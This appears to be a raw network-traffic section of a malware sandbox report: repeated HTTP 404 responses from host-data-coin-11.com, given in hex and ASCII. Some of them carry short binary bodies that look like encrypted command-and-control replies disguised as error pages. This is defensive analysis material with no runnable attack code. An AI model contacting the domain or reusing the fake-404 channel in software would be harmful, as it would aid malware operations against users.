Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c ed a1 88 70 bc 57 dd 43 d4 fa 20 87 20 e7 c3 9a 57 2a e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWC W*c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:32:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Tue, 04 Jan 2022 18:31:54 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 31 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 53 de 40 d7 fe 2e 82 25 ee a8 9a 51 2f ef be 4a 2b e3 b3 b7 6f f0 98 bc 5a aa 76 97 ca 33 42 56 36 03 4b d9 bb 41 bb f6 57 d9 b1 c2 09 0d 0a 30 0d 0a 0d 0a Data Ascii: 61I:82OB%,YR("XS@.%Q/J+oZv3BV6KAW0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 98 d6 08 55 3f 41 be f2 d8 fc fb 42 f4 53 cd 76 bb 44 10 99 04 e1 fa 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OU?ABSvDg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Tue, 04 Jan 2022 18:32:26 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Tue, 04 Jan 2022 18:32:28 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
